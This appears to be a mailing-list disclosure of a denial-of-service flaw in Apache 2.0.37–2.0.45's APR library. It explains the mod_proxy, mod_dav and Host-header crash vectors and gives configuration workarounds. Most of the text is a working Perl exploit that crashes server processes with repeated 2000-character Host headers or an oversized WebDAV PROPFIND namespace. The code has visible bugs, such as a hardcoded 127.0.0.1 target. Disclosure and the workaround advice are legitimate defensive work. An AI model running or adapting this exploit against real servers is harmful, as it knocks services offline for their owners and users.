|
I had planned to write this tool in C for the sake of using native functionality like crypt(3) to support digest authentication=2E I'd also planned to support intermediate proxies, but a determined user can implement this via various tunneling applications with minimal complications, and I don't need to make this too script-kiddie friendly=2E= The details of each exploit vector are as follows: * mod_proxy mod_proxy outputs a simple message when a connection has failed that includes the host name of the intended destination=2E It accomplishes thi= s via the vulnerable apr_psprintf() function=2E This leads to a crash if th= e Host header is extremely long=2E * mod_dav Certain methods of accessing a DAV repository may enable attacker-supplied= input to be passed as a parameter to apr_psprintf() as part of an "Invalid= namespace" error=2E This results in the crash of the child handling the request=2E * Others NOTE: mod_dav is also impacted by this exploit, but the exploit vector above specifically targets it=2E Many modules format the hostname of the server into buffers via the apr_psprintf() function=2E The hostname is under the attacker's control i= f "UseCanonicalName Off" is in place=2E Via a long HTTP/1=2E1 "Host" header= , it becomes possible to cause these modules to crash=2E *** NOTE: Some people have assumed that the Apache LimitRequestFieldSize directive would protect them from exploitation, so long as they did not have mod_dav installed=2E This is not correct, as the Apache HTTP Server = may take: GET / HTTP/1=2E1 Host: a Host: b And internally convert it to: GET / HTTP/1=2E1 Host: a, b The same is true for longer headers=2E So, ten such headers of 2000 characters each bypasses the default LimitRequestFieldSize directive, but still exploits the vulnerability=2E Workarounds * LimitXMLRequestBody 2000 in your configuration file for any servers with= DAV enabled=2E These can be identified by the string "DAV/2" in their ser= ver signatures in most cases=2E * The following pair of lines: LimitRequestFields 15 LimitRequestFieldSize 800 will temporarily block the mod_proxy exploit=2E * Such a rash workaround is not required for the other modules, where a simple: UseCanonicalName On does the trick=2E It was recently pointed out to me that there was an err= or in my previous post regarding this=2E It incorrectly stated that UseCanonicalName *Off* fixed the flaw=2E In reality, this *opens* one of = the exploit vectors=2E However, I believe it was clearly identified in the ot= her parts of my post, and this has now been corrected=2E Without making you w= ait any longer=2E=2E=2E --- #!/usr/bin/perl # # Apache 2=2E0 APR Exploit # Written By Matthew Murphy # Updates: http://www=2Etechie=2Ehopto=2Eorg/exploits/Apache-Knacker=2Epl # # Ever since I unveiled the additional details of the APR flaw in # Apache 2=2E0=2E37-2=2E0=2E45, I've been under pressure to "put my money # where my mouth is", and produce exploits for the flaw=2E My answer # to these people was "just give me a few days until I figure them # out, and you'll be the first to know"=2E Well, despite a slight=20 # delay, here you have it=2E # # This Perl script will successfully exploit any un-patched Apache 2=2E0 # server that does not have the workarounds I highlighted applied=2E # # Okay, now it is time for my classic legal garb=2E=2E=2E # Given that this is rushed, and probably buggy in some capacity, this # is especially important here: # # No warranties are made about the performance of this tool, either=20 # express or implied=2E Your use of this tool is an implicit agreement # that you will not utilize it against a network if any of the following # occur: # # You do not administer the network # You are not the owner of the network, and do not have written permission= #=09from the owner for testing of this potential vulnerability (HP=20 # =09speak there! :-D)=2E # Networks other than your own may be impacted by use of this tool in some= # =09way=2E # # You also agree NOT to hold the author of the tool responsible for any # damage resulting from its use, be it accidental or intentional, and also= # agree that the consequences of utilizing this tool (and any damage such # use creates) are solely your responsibility=2E # # Contact: # E-mail: mattmurphy@kc=2Err=2Ecom # Web: http://www=2Etechie=2Ehopto=2Eorg/ # AIM: NetAddict4109 #=09or for the Windows folk among us: #=09aim:goim?screenname=3DNetAddict4109 # # Enjoy! # Base64 Encoder # # If you want authentication with the server via HTTP's lame Basic # auth, put the proper string to encode BASE64 content, and use # '%s' to represent the credentials being encoded=2E For instance: # # base64 %s # # would result in: # # base64 userid:password # # If your decoder requires you to use STDIN to pass the password # (no pun intended), set $BASE64_USE_STDIN to nonzero and do not # use '%s' on the command-line=2E $BASE64_CMD_STRING =3D "use_base64_encoder_here %s"; # Base64 encoder piping # # If your encoder requires the password to be written to STDIN, # set this to a nonzero value=2E NOTE: This requires support for=20 # bi-directional pipes on your OS version=2E $BASE64_USE_STDIN =3D 0; # Base64 encoder input handling # # If your encoder requires a newline after your credentials,=20 # set this to your newline character=2E $BASE64_WRITE_NL =3D ""; use IO::Socket; print STDOUT "Apache 2=2E0 APR Exploit\r\n"; print STDOUT "By Matthew Murphy\r\n\r\n"; print STDOUT "Enter the hostname/IP address of the server: "; $line =3D <STDIN>; $host =3D mychomp($line); print STDOUT "Enter the port of the server \[80\]: "; $line =3D <STDIN>; $port =3D mychomp($line); print STDOUT "Use authentication credentials for the session \[Y/N\]? "; $line =3D <STDIN>; $char =3D mychomp($line); if ($char =3D=3D "Y" || $char =3D=3D "y") { =09print STDOUT "What username shall we use: "; =09$line =3D <STDIN>; =09$user =3D mychomp($line); =09print STDOUT "What password shall we use: "; =09$line =3D <STDIN>; =09$pass =3D mychomp($line); =09$auth =3D "$user:$pass"; =09if ($BASE64_USE_STDIN) { =09=09# l33t Perl piping trix; NOTE: This is definitely =09=09# Alpha code! :-) =09=09pipe(STDOUTREAD, STDOUTWRITE); =09=09pipe(STDINREAD, STDINWRITE); =09=09open(OLDSTDIN, "&STDIN"); =09=09open(OLDSTDOUT, ">&STDOUT"); =09=09open(STDIN, "&STDINREAD"); =09=09open(STDOUT, ">&STDOUTWRITE"); =09=09close(STDINREAD); =09=09close(STDOUTWRITE); =09=09system($BASE64_CMD_STRING); =09=09open(STDIN, "&OLDSTDIN"); =09=09open(STDOUT, "&>OLDSTDOUT"); =09=09close(OLDSTDIN); =09=09close(OLDSTDOUT); =09=09print STDINWRITE $auth; =09=09close(STDINWRITE); =09=09read(STDOUTREAD, $base64, 4096); # Edit for insane passwords =09=09close(STDOUTREAD); =09} else { =09=09open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)=2E"|"); =09=09read(READOUTPUT, $base64, 4096); # See above =09=09close(READOUTPUT); =09} =09# Another hack for dealing with base64 encoders that output=20 =09# multi-lined encoded text=2E HTTP specifically calls for a=20 =09# single line=2E Note that this pattern also messes with spaces,=20 =09# tabs, etc=2E, but base64 doesn't use those either, so this=20 =09# shouldn't matter=2E =09$base64 =3D join("", split(/ /, $base64)); } else { =09$base64 =3D undef; } $f =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>"127=2E0=2E0=2E1"= ); print STDOUT "Exploiting a proxy server \[Y/N\]? "; $line =3D <STDIN>; $char =3D mychomp($line); if ($char =3D=3D "Y" || $char =3D=3D "y") { =09print $f "GET / HTTP/1=2E1\x0d\x0a"; =09# Apache 2=2E0 tries to limit header inputs, but uses a hash table=20 =09# that ultimately concatenates multiple headers of the same name=20 =09# together with ", " between them, so: =09# =09# Host: a =09# Host: b =09# =09# Bypasses Apache's buffer size checks, but ends up as: =09# =09# Host: a,b =09# =09# When processed=2E Confirm this with a TRACE against your server: =09# =09# TRACE / HTTP/1=2E1 =09# Host: a =09# Host: b =09# =09# The "message/http" body you receive will contain: =09# =09# TRACE / HTTP/1=2E1 =09# Host: a,b =09# =09# So, for those of you who are confused by this code fragment,=20 =09# this is what it ultimately achieves! =09for ($i =3D 0; $i < 10; $i++) { =09=09print $f "Host: "=2E("A"x2000)=2E"\r\n"; =09} =09if (defined($base64)) { =09=09print $f "Proxy-Authorization: Basic "=2E$base64=2E"\r\n"; =09} =09print $f "\r\n"; } else { =09print STDOUT "What resource should be probed: "; =09$line =3D <STDIN>; =09$res =3D mychomp($line); =09print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] "; =09$line =3D <STDIN>; =09$char =3D mychomp($line); =09if ($char =3D=3D "Y" || $char =3D=3D "y") { =09=09# WARNING: =09=09# Another section of alpha code here; mod_dav tends to barf =09=09# if given the smallest inconsistency, and this is not=20 =09=09# exactly well-researched=2E If this doesn't work for you,=20 =09=09# target your DAV repository as a typical resource: if=20 =09=09# UseCanonicalName On hasn't been set explicitly, mod_dav=20 =09=09# will choke on that as well=2E =09=09# =09=09# STunnel should not have issues with this, as you can't=20 =09=09# use a "Host" header in an SSL connection anyway, so=20 =09=09# that is no problem=2E =09=09# =09=09# Note that if the body is too long, IIS servers will also=20 =09=09# die (assuming of course, that the latest IIS cumulative=20 =09=09# patch has not been applied), as they have had problems=20 =09=09# dealing with WebDAV in the very recent past=2E =09=09# XML Body of Request =09=09# =09=09# If everything works, mod_dav will attempt to format a=20 =09=09# message with apr_psprintf() to indicate that our=20 =09=09# namespace is invalid, leading to a crash=2E =09=09$xmlbody =3D "<?xml version=3D\"1=2E0\"?>\r\n"; =09=09$xmlbody=2E=3D "<D:propfind xmlns:D=3D\""=2E("A"x20000)=2E"\:\">\r\n= "; =09=09$xmlbody=2E=3D "\x20\x20\x20\x20<D:allprop/>\r\n"; =09=09$xmlbody=2E=3D "</D:propfind>"; =09=09# HTTP headers =09=09print $f "PROPFIND $res HTTP/1=2E1\r\n"; =09=09print $f "Host: $host:$port\r\n"; =09=09print $f "Depth: 1\r\n"; =09=09print $f "Content-Type: text/xml; charset=3D\"utf-8\"\r\n"; =09=09print $f "Content-Length: "=2Elength($body)=2E"\r\n\r\n"; =09=09if (defined($base64)) { =09=09=09print $f "Authorization: Basic "=2E$base64=2E"\r\n"; =09=09} =09=09print $f "$xmlbody\r\n\r\n"; =09} else { =09=09# This does *almost* the exact same thing as the mod_proxy=20 =09=09# code, and could be considered wasteful, but a few extra=20 =09=09# CPU cycles never killed anybody=2E :-( =09=09print $f "GET $res HTTP/1=2E1\r\n"; =09=09for ($i =3D 0; $i < 10; $i++) { =09=09=09print $f "Host: "=2E("A"x2000)=2E"\r\n"; =09=09} =09=09if (defined($base64)) { =09=09=09print $f "Authorization: Basic "=2E$base64=2E"\r\n"; =09=09} =09=09print $f "\r\n"; =09} } while (defined($ln =3D <$f>)) { =09print STDOUT $ln; } undef $f; exit; # FIXED: The perl chomp() function is broken on my distro, # so I hacked a fix to work around it=2E This note applies # to ActivePerl 5=2E8=2Ex -- I haven't tried others=2E This is # another hackish fix, which seems to be the entire style # of this code=2E I'll write better toys when I have time to # write better toys=2E sub mychomp { =09my $data; =09my $arg =3D shift; =09my $CRLF; =09if ($^O =3D=3D "MSWin32") { =09=09$CRLF =3D 1; =09} else { =09=09$CRLF =3D 0; =09} =09$data =3D substr($arg, 0, length($arg) - $CRLF); =09return $data; } -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web=2Ecom/ =2E